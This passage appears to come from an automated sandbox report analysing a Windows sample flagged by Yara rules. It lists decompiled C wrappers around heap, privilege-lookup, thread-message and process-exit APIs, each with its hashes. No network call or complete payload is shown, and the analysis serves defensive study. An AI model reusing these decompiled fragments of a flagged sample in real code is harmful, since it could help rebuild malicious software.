                                                                                    					_t32 = _t14;
                                                                                    					if(_t14 == 0) {
                                                                                    						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409270(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
                                                                                    					}
                                                                                    					return _t14;
                                                                                    				}
                                                                                    				return _t13;
                                                                                    			}












                                                                                    0x00407260
                                                                                    0x0040726f
                                                                                    0x00407273
                                                                                    0x0040727e
                                                                                    0x0040728e
                                                                                    0x0040729e
                                                                                    0x004072a3
                                                                                    0x004072aa
                                                                                    0x004072ad
                                                                                    0x004072ba
                                                                                    0x004072bc
                                                                                    0x004072be
                                                                                    0x004072db
                                                                                    0x004072db
                                                                                    0x00000000
                                                                                    0x004072dd
                                                                                    0x004072e2

                                                                                    APIs
                                                                                    • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: MessagePostThread
                                                                                    • String ID:
                                                                                    • API String ID: 1836367815-0
                                                                                    • Opcode ID: 205fda5ff18a58da29b4ee771503f4b4c431d8485573b34ca04b666bda837a67
                                                                                    • Instruction ID: ed9c0dd32f68776d22a62b6ccf8dda9c2c93357863a303a75fe51d199eec68b3
                                                                                    • Opcode Fuzzy Hash: 205fda5ff18a58da29b4ee771503f4b4c431d8485573b34ca04b666bda837a67
                                                                                    • Instruction Fuzzy Hash: DE018431A8032876E720A6959C03FFE776C5B40B55F15416EFF04BA1C2E6A87D0646EA
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CF92,0040CF92,00000041,00000000,?,00408B55), ref: 00418650
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LookupPrivilegeValue
                                                                                    • String ID:
                                                                                    • API String ID: 3899507212-0
                                                                                    • Opcode ID: 9e6d07d00beb61259b5c577eef909b965b0fd47d6f688c42e16a5e66cb470cbb
                                                                                    • Instruction ID: b0897bf2215c727cf66ce9e6e4cec44ba83d9fe7514fcd683c4135912db346a1
                                                                                    • Opcode Fuzzy Hash: 9e6d07d00beb61259b5c577eef909b965b0fd47d6f688c42e16a5e66cb470cbb
                                                                                    • Instruction Fuzzy Hash: F6014CB5600244ABDB10DF95DC81DEB73A9AF89314F018149FD5D97341CA34E8618BE5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E004184C0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
                                                                                    				char _t10;
                                                                                    				void* _t15;
                                                                                    
                                                                                    				_t3 = _a4 + 0xc74; // 0xc74
                                                                                    				E00418DB0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
                                                                                    				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
                                                                                    				return _t10;
                                                                                    			}





                                                                                    0x004184cf
                                                                                    0x004184d7
                                                                                    0x004184ed
                                                                                    0x004184f1

                                                                                    APIs
                                                                                    • RtlFreeHeap.NTDLL(00000060,00408AE3,?,?,00408AE3,00000060,00000000,00000000,?,?,00408AE3,?,00000000), ref: 004184ED
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FreeHeap
                                                                                    • String ID:
                                                                                    • API String ID: 3298025750-0
                                                                                    • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                    • Instruction ID: bd69bb0d8e56be58ea846d441575552e1355d89f45fa104c15060bc9e05e818a
                                                                                    • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                    • Instruction Fuzzy Hash: EDE01AB12002046BDB14DF59DC45EE777ACAF88750F014559BA0857241CA30E9108AF4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00418480(intOrPtr _a4, void* _a8, long _a12, long _a16) {
                                                                                    				void* _t10;
                                                                                    				void* _t15;
                                                                                    
                                                                                    				E00418DB0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
                                                                                    				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
                                                                                    				return _t10;
                                                                                    			}





                                                                                    0x00418497
                                                                                    0x004184ad
                                                                                    0x004184b1

                                                                                    APIs
                                                                                    • RtlAllocateHeap.NTDLL(00413506,?,00413C7F,00413C7F,?,00413506,?,?,?,?,?,00000000,00408AE3,?), ref: 004184AD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateHeap
                                                                                    • String ID:
                                                                                    • API String ID: 1279760036-0
                                                                                    • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                    • Instruction ID: 95874ba5a5537b3d16e5bdcad340c4ef7a657c48911e570d945e23b5f838c0ed
                                                                                    • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                    • Instruction Fuzzy Hash: 7BE012B1200208ABDB14EF99DC41EE777ACAF88654F118559BA085B282CA30F9108AF4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00418620(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
                                                                                    				int _t10;
                                                                                    				void* _t15;
                                                                                    
                                                                                    				E00418DB0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
                                                                                    				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
                                                                                    				return _t10;
                                                                                    			}





                                                                                    0x0041863a
                                                                                    0x00418650
                                                                                    0x00418654

                                                                                    APIs
                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CF92,0040CF92,00000041,00000000,?,00408B55), ref: 00418650
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LookupPrivilegeValue
                                                                                    • String ID:
                                                                                    • API String ID: 3899507212-0
                                                                                    • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                    • Instruction ID: 1821f594b7a2fedb3326d3670d224aab122327744fc2f581a2e4424e2d02315d
                                                                                    • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                    • Instruction Fuzzy Hash: 2AE01AB12002086BDB10DF49DC85EE737ADAF89650F018159BA0857241C934E8108BF5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00418500(intOrPtr _a4, int _a8) {
                                                                                    				void* _t10;
                                                                                    
                                                                                    				_t5 = _a4;
                                                                                    				E00418DB0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
                                                                                    				ExitProcess(_a8);
                                                                                    			}




                                                                                    0x00418503
                                                                                    0x0041851a
                                                                                    0x00418528

                                                                                    APIs
                                                                                    • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418528
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExitProcess
                                                                                    • String ID:
                                                                                    • API String ID: 621844428-0
                                                                                    • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                    • Instruction ID: 9f62bdc44f65d7d9a2483e28fb075f3ff631dd5cfbab79109080827007e6cc43
                                                                                    • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                    • Instruction Fuzzy Hash: 62D012716003147BD620DF99DC85FD7779CDF49750F018069BA1C5B241C931BA0086E5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: a2f186d526c56236b52fb7231f8f5823a1e8043fe6132be9de72594af11dfbe8
                                                                                    • Instruction ID: 73f9c7ed259b4f66a660e9a7c2f3ca6dbfe013d0adda1e53c4cd69c2b6ec112b
                                                                                    • Opcode Fuzzy Hash: a2f186d526c56236b52fb7231f8f5823a1e8043fe6132be9de72594af11dfbe8
                                                                                    • Instruction Fuzzy Hash: 4AB09B719015C5C5E611D7E0470871779057BD0741F17C0D1D2024755A4778C095F5B5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Non-executed Functions

                                                                                    C-Code - Quality: 28%
                                                                                    			E0040C3BE(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
                                                                                    				void* _t10;
                                                                                    				void* _t14;
                                                                                    
                                                                                    				_t14 =  !=  ?  *((void*)(__ebx - 0xc)) : __edx;
                                                                                    				asm("jecxz 0x2a");
                                                                                    				_t10 = 0x7e80d8de -  *[ss:edx+0x19];
                                                                                    				asm("sbb [edx-0x43], esp");
                                                                                    				_push(_t10);
                                                                                    				asm("clc");
                                                                                    				return __esi;
                                                                                    			}





                                                                                    0x0040c3c4
                                                                                    0x0040c3d4
                                                                                    0x0040c3d9
                                                                                    0x0040c3dc
                                                                                    0x0040c3df
                                                                                    0x0040c3e0
                                                                                    0x0040c3ed

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b4550703cedbb2e4d9a2d1303d151ffc6f6869f04f38d898d1cf63ad118f95bb
                                                                                    • Instruction ID: 69d617a794b6c069fd00005c008c4591c4999de139038deea44677d5a259ac12
                                                                                    • Opcode Fuzzy Hash: b4550703cedbb2e4d9a2d1303d151ffc6f6869f04f38d898d1cf63ad118f95bb
                                                                                    • Instruction Fuzzy Hash: 1E012877B003405BC312DF54E881FE6B3E8EB85308F044A6DE64D5B282D3B5664987D4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 7a9cd40f6e3f7c41bf55f560188de47be84eea459674074411a397407de2568d
                                                                                    • Instruction ID: 2db186f8ce01cf32d2dcf22fb5340b997c217eb939eae09c7030d52b23de94a4
                                                                                    • Opcode Fuzzy Hash: 7a9cd40f6e3f7c41bf55f560188de47be84eea459674074411a397407de2568d
                                                                                    • Instruction Fuzzy Hash: FA90027120148402E140B199844460B5006ABE0341F51C451E141A665C8755C85EA261
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: a5691964ce84d9d2a2e4dc8f8a64be1567091bb72936c22126edcab52549f6b5
                                                                                    • Instruction ID: 7b502f6c53872d02764862b2f5dccb2adf954d1689979e87683c3edbc1edb1a1
                                                                                    • Opcode Fuzzy Hash: a5691964ce84d9d2a2e4dc8f8a64be1567091bb72936c22126edcab52549f6b5
                                                                                    • Instruction Fuzzy Hash: FA90026124104C02E140B19984147070007DBD0641F51C051A1019665D8756C96D76F1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 8da9ca655e71031d94f4ff0176b550cef9db9f8fee7709d2925fe8864ce9e0e1
                                                                                    • Instruction ID: 84761a221915dfe9820083b9e05d10b81b37a0d7cab870b875fe4b66a46c4135
                                                                                    • Opcode Fuzzy Hash: 8da9ca655e71031d94f4ff0176b550cef9db9f8fee7709d2925fe8864ce9e0e1
                                                                                    • Instruction Fuzzy Hash: 2090027130104452A500E6D95804A4A41069BF0341B51D055A5009665C8694C8696161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 2e5890376c94221671ede18af8c05af5802549ba06755c78d082d3fe036503c5
                                                                                    • Instruction ID: 481edb88778b8c82eab11ba83cd8beb6891b158099197673072cfafd9311e787
                                                                                    • Opcode Fuzzy Hash: 2e5890376c94221671ede18af8c05af5802549ba06755c78d082d3fe036503c5
                                                                                    • Instruction Fuzzy Hash: 2190026160504802E140B199541870600169BD0241F51D051A1019665DC799CA5D76E1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 6f0b4b21f07631ad987d5c2694bf93d9b9f32bda1d7f47eb74f0de0990cc03fc
                                                                                    • Instruction ID: 20af151e857f8c6a6762db88a94da16ae7c7491ad1cf4c85d16d9d8aedf222d2
                                                                                    • Opcode Fuzzy Hash: 6f0b4b21f07631ad987d5c2694bf93d9b9f32bda1d7f47eb74f0de0990cc03fc
                                                                                    • Instruction Fuzzy Hash: 6690027120104803E100A199550870700069BD0241F51D451A1419669DD796C8597161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 3dd99cacd9f71ed833d7faef6e1beac3ab0c1e02db7c383de2e105957f191c9b
                                                                                    • Instruction ID: 0721b7b412b51084aaca1f5e2ca279c92ac7083801a31f2d4412470ee995e408
                                                                                    • Opcode Fuzzy Hash: 3dd99cacd9f71ed833d7faef6e1beac3ab0c1e02db7c383de2e105957f191c9b
                                                                                    • Instruction Fuzzy Hash: F590026120508842E100A5995408A0600069BD0245F51D051A20596A6DC775C859B171
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: a99dbe993563d61fb8111cd60ff2956e12cf825f00bbaaea3ffb3bf19814409b
                                                                                    • Instruction ID: 22029bc6e88a66286fdf8ce68534afb34e0a73f20be243c6ffe0ea934689ec57
                                                                                    • Opcode Fuzzy Hash: a99dbe993563d61fb8111cd60ff2956e12cf825f00bbaaea3ffb3bf19814409b
                                                                                    • Instruction Fuzzy Hash: F190027520508842E500A5995804A8700069BD0345F51D451A14196ADD8794C869B161
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b27da68c6c311737a3086135193deb202c88bebaa8d68358188ad4c4ca959908
                                                                                    • Instruction ID: ce18d1b6dd2945b30c98aa5d624ab2fe188e60dd38d1ee991b8a6a52688603bf
                                                                                    • Opcode Fuzzy Hash: b27da68c6c311737a3086135193deb202c88bebaa8d68358188ad4c4ca959908
                                                                                    • Instruction Fuzzy Hash: 5790026120148842E140A2994804B0F41069BE1242F91C059A514B665CCA55C85D6761
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: fb7417369190933b57dd7be24315d03a4d63fa41f591540f18e2e9a27bccd324
                                                                                    • Instruction ID: 2041d55561a9bd60815efc4403c433d76d92037e31c26010f31a7cfcdf11ec42
                                                                                    • Opcode Fuzzy Hash: fb7417369190933b57dd7be24315d03a4d63fa41f591540f18e2e9a27bccd324
                                                                                    • Instruction Fuzzy Hash: 9590027120104C42E100A1994404B4600069BE0341F51C056A1119765D8755C8597561
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: bef726bd2d8def6b2e80def640325e50047744f0453723aff8a7ff987ee5c195
                                                                                    • Instruction ID: 70c050d241a956e2f2fa96c3f5cc64de6b0b4e70ff94446738bba239afeb3d93
                                                                                    • Opcode Fuzzy Hash: bef726bd2d8def6b2e80def640325e50047744f0453723aff8a7ff987ee5c195
                                                                                    • Instruction Fuzzy Hash: 4890027120144802E100A199480874700069BD0342F51C051A6159666E87A5C8997571
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 9d36cf21f04afba55d2b645d445ba199d24c8b26bdfe82ea5dcfcbaff0f40dde
                                                                                    • Instruction ID: 1b688b87511ba65f0522fd58a66cdd981ed30c92216f99e6c64661490beaf7ab
                                                                                    • Opcode Fuzzy Hash: 9d36cf21f04afba55d2b645d445ba199d24c8b26bdfe82ea5dcfcbaff0f40dde
                                                                                    • Instruction Fuzzy Hash: F490027160504C02E150B199441474600069BD0341F51C051A1019765D8795CA5D76E1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 6822143139776c32bb1518e5617bbe23d62b0489ee80dd0a542a6ece003923b6
                                                                                    • Instruction ID: c3bfe9d1f88624f49a656943698fd9664af6c72e1a11ad9ec044988f5a28d3e6
                                                                                    • Opcode Fuzzy Hash: 6822143139776c32bb1518e5617bbe23d62b0489ee80dd0a542a6ece003923b6
                                                                                    • Instruction Fuzzy Hash: D290027120508C42E140B1994404A4600169BD0345F51C051A10597A5D9765CD5DB6A1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 4d82251b61647f17755d547c233e5c1d8610a51a9807c21845892dcd3f9f5df8
                                                                                    • Instruction ID: 425ff40256a55867c5e2e93deb61fc6a3922c02e6a5b7831eded293eac09428e
                                                                                    • Opcode Fuzzy Hash: 4d82251b61647f17755d547c233e5c1d8610a51a9807c21845892dcd3f9f5df8
                                                                                    • Instruction Fuzzy Hash: 2A9002A121104442E104A199440470600469BE1241F51C052A3149665CC669CC696165
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 92a2eb1d1d1c95be12eb5943ac8d1b98b9c5ab9039d66e831dd994ce8c483c8b
                                                                                    • Instruction ID: dc530331f21b9c3a93ce0a2ebc6678abb9c07e79df23c3477690e074196b9e4e
                                                                                    • Opcode Fuzzy Hash: 92a2eb1d1d1c95be12eb5943ac8d1b98b9c5ab9039d66e831dd994ce8c483c8b
                                                                                    • Instruction Fuzzy Hash: 1190027120104C02E104A199480468600069BD0341F51C051A7019766E97A5C8997171
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 18bf7b431e9c914f507af173fcaffdc5984db0a6dc23790bfd75005ea1b787b9
                                                                                    • Instruction ID: 81b037e394383fd867a424861bbbaf67d1bfa2431e7699a669bc4cd0cd0fe8d0
                                                                                    • Opcode Fuzzy Hash: 18bf7b431e9c914f507af173fcaffdc5984db0a6dc23790bfd75005ea1b787b9
                                                                                    • Instruction Fuzzy Hash: 369002E1201184925500E2998404B0A45069BE0241B51C056E2049671CC665C859A175
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 33ca092b3ac47d10d6e78b062e0e3b361c706694074cb848e62385cbfdcac78a
                                                                                    • Instruction ID: 9047cc5fca39faf27194ec6360a73561b6b1042b802448faddc04f8c0e3052c2
                                                                                    • Opcode Fuzzy Hash: 33ca092b3ac47d10d6e78b062e0e3b361c706694074cb848e62385cbfdcac78a
                                                                                    • Instruction Fuzzy Hash: B4900271A0504412A140B19948146464007ABE0781B55C051A1509665C8A94CA5D63E1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 0ded21ac16abe5ab3fbe021ad55c27d3737c3f15ffb5872794540460d81c4f6d
                                                                                    • Instruction ID: 01c99e17de58674237461b7c0a67c449c4bff926790967b0143a25b952972be6
                                                                                    • Opcode Fuzzy Hash: 0ded21ac16abe5ab3fbe021ad55c27d3737c3f15ffb5872794540460d81c4f6d
                                                                                    • Instruction Fuzzy Hash: 2D9002A120144803E140A599480460700069BD0342F51C051A3059666E8B69CC597175
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 2e24f9921d1c6e3564e2f6b91cda2b08a8e19520af17b7db802db339a8753fe9
                                                                                    • Instruction ID: 82c1a4fea74090e2f63febc1235db4b6eeb7a5c6916a422ea484bf57b8cd5b47
                                                                                    • Opcode Fuzzy Hash: 2e24f9921d1c6e3564e2f6b91cda2b08a8e19520af17b7db802db339a8753fe9
                                                                                    • Instruction Fuzzy Hash: 2D900265221044021145E599060450B0446ABD6391391C055F240B6A1CC761C86D6361
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 238066802889fd4c366e74034371c4f7d098ce12ce9285dcf0c087dee9885606
                                                                                    • Instruction ID: e2ae8b352e9345b9916fd84678293ea2a43016a0b714b4c8acfd264119d55716
                                                                                    • Opcode Fuzzy Hash: 238066802889fd4c366e74034371c4f7d098ce12ce9285dcf0c087dee9885606
                                                                                    • Instruction Fuzzy Hash: 7190026130104802E102A1994414606000ADBD1385F91C052E2419666D8765C95BB172
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 0447825bcb139f1c9d0af1cf4aec1694f3b7bc6bb0b96bd4c48e60ae213576f7
                                                                                    • Instruction ID: db379b331200e871be3999d31a0d758340dabf3ecfdf8aa3458fc9b5dab8937d
                                                                                    • Opcode Fuzzy Hash: 0447825bcb139f1c9d0af1cf4aec1694f3b7bc6bb0b96bd4c48e60ae213576f7
                                                                                    • Instruction Fuzzy Hash: 8190027124104802E141B1994404606000AABD0281F91C052A1419665E8795CA5EBAA1
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 145b9dfa12905fefd86f524604676d31dfd30173314a3044c41af0bf06a46673
                                                                                    • Instruction ID: 6a11bd458dd7e5b9669d3d5a1b1830b59d814e401a22e138a3c6e716c7aa1d66
                                                                                    • Opcode Fuzzy Hash: 145b9dfa12905fefd86f524604676d31dfd30173314a3044c41af0bf06a46673
                                                                                    • Instruction Fuzzy Hash: 2B9002A1601184435540F19948044065016ABE1341391C161A1449671C87A8C85DA2A5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000001.00000002.712380252.0000000003800000.00000040.00000001.sdmp, Offset: 03800000, based on PE: true
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                                                    • Instruction ID: e227b7b5f682f6df1976716396c365f32b80e9b681fe40196c6255919885b9b9
                                                                                    • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                                                    • Instruction Fuzzy Hash:
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 53%
                                                                                    			E038BFDDA(intOrPtr* __edx, intOrPtr _a4) {
                                                                                    				void* _t7;
                                                                                    				intOrPtr _t9;
                                                                                    				intOrPtr _t10;
                                                                                    				intOrPtr* _t12;
                                                                                    				intOrPtr* _t13;
                                                                                    				intOrPtr _t14;
                                                                                    				intOrPtr* _t15;
                                                                                    
                                                                                    				_t13 = __edx;
                                                                                    				_push(_a4);
                                                                                    				_t14 =  *[fs:0x18];
                                                                                    				_t15 = _t12;
                                                                                    				_t7 = E0386CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
                                                                                    				_push(_t13);
                                                                                    				E038B5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
                                                                                    				_t9 =  *_t15;
                                                                                    				if(_t9 == 0xffffffff) {
                                                                                    					_t10 = 0;
                                                                                    				} else {
                                                                                    					_t10 =  *((intOrPtr*)(_t9 + 0x14));
                                                                                    				}
                                                                                    				_push(_t10);
                                                                                    				_push(_t15);
                                                                                    				_push( *((intOrPtr*)(_t15 + 0xc)));
                                                                                    				_push( *((intOrPtr*)(_t14 + 0x24)));
